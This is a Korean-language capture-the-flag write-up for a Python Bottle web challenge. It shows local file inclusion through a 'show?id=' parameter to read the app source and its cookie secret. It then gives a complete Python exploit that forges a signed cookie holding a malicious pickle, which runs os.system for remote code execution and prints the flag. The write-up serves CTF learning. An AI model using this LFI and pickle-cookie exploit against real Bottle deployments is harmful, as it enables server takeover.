Write Up
문제를 접속하면 아래와 같은 페이지가 나온다.
링크들을 클릭해보면 아래와 같은 URL로 이동이 되면서 시가 나오는 페이지로 이동이 된다. 해당 링크에서 LFI공격이 가능하다고 생각이 들었고 공격이 가능했다.
http://localhost:8081/show?id=spring.txt
LFI를 통해 앱이 실행되고 있는 페이지로 이동을 하면 아래와 같은 소스를 확인 할 수 있다.
- ‘/proc/self/cwd’는 현재 실행중인 프로세스의 디렉토리 표시하는 명령어다.
URL: http://localhost:8081/show?id=/proc/self/cwd/app.py
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re
@route("/")
def home():
return template("index")
@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile
@error(404)
def error404(error):
return template("error")
@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)
해당 소스를 보면 secret.py파일에서 sekai를 불러오는 것으로 보았을때 session에 사용되는 secret값을 추출하는 것을 추측할 수 있고, Python Bottle 프레임워크를 사용하는 것을 알 수 있다.
URL: http://localhost:8081/show?id=/proc/self/cwd/config/secret.py
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
bottle 프레임워크 관련 문서를 검색해보면 RCE가 가능한것으로 확인이 되는데. bottle.py에서 사용되는 cookie 값을 가지고 RCE가 가능한것을 알 수 있다.
def cookie_encode(data, key, digestmod=None):
""" Encode and sign a pickle-able object. Return a (byte) string """
depr(0, 13, "cookie_encode() will be removed soon.",
"Do not use this API directly.")
digestmod = digestmod or hashlib.sha256
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=digestmod).digest())
return tob('!') + sig + tob('?') + msg
cookie_encode 코드를 가지고 exploit을 하면 flag를 txt로 생성하고, 해당 페이지에 접근하면 flag를 획득할 수 있다.
import os, hmac, hashlib, base64, pickle, requests
def tob(s, enc='utf8'):
if isinstance(s, str):
return s.encode(enc)
return b'' if s is None else bytes(s)
class RCE(object):
def __reduce__(self):
import os
return (os.system,("/flag > /dev/shm/sekaiflag.txt",))
msg = base64.b64encode(pickle.dumps(RCE(), -1))
sig = base64.b64encode(hmac.new(tob("Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"), msg, digestmod=hashlib.md5).digest())
payload = '"'+str(tob('!') + sig + tob('?') + msg).replace("b'", "")[:-1]+'"'
r = requests.get("http://localhost:8081/sign", cookies={"name": payload})
URL: http://localhost:8081/show?id=/dev/shm/sekaiflag.txt
SEKAI{W3lcome_To_Our_Bottle}